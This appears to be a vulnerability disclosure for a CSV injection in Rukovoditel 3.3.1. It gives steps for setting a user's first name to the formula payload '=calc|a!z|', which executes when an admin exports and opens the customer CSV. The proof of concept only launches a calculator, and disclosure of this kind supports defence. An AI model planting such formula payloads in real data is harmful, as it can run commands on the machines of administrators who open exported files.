Exploit Title: Rukovoditel 3.3.1 - CSV injection
Version: 3.3.1
Bugs:  CSV Injection
Technology: PHP
Vendor URL: https://www.rukovoditel.net/
Software Link: https://www.rukovoditel.net/download.php
Date of found: 27-05-2023
Author: Mirabbas Ağalarov
Tested on: Linux


2. Technical Details & POC
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Step 1. login as user
step 2. Go to My Account ( http://127.0.0.1/index.php?module=users/account )
step 3. Set Firstname as  =calc|a!z|
step 3. If admin Export costumers as CSV  file ,in The computer of admin  occurs csv injection and will open calculator (http://localhost/index.php?module=items/items&path=1)

payload: =calc|a!z|